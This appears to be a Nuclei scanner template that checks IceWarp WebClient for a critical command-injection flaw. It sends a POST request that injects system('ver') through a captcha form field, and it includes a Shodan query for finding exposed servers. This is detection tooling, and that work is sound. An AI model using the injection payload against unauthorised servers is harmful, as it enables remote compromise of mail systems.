id: icewarp-webclient-rce

info:
  name: IceWarp WebClient - Remote Code Execution
  author: gy741
  severity: critical
  description: |
    IceWarp WebClient is susceptible to remote code execution.
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
    shodan-query: title:"icewarp"
  tags: icewarp,rce

http:
  - raw:
      - |
        POST /webmail/basic/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _dlg[captcha][target]=system(\'ver\')\

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Microsoft Windows [Version"

      - type: status
        status:
          - 302

# digest: 4a0a00473045022100d7e0ccb7baab80340065a2ef8a427069197d6192d9e4d73260bedc09294643ac022000cb252e078815b7b34dabf929dc19a0bc3803612f24e3a2795d49cce5880572:922c64590222798bb761d5b6d8e72950
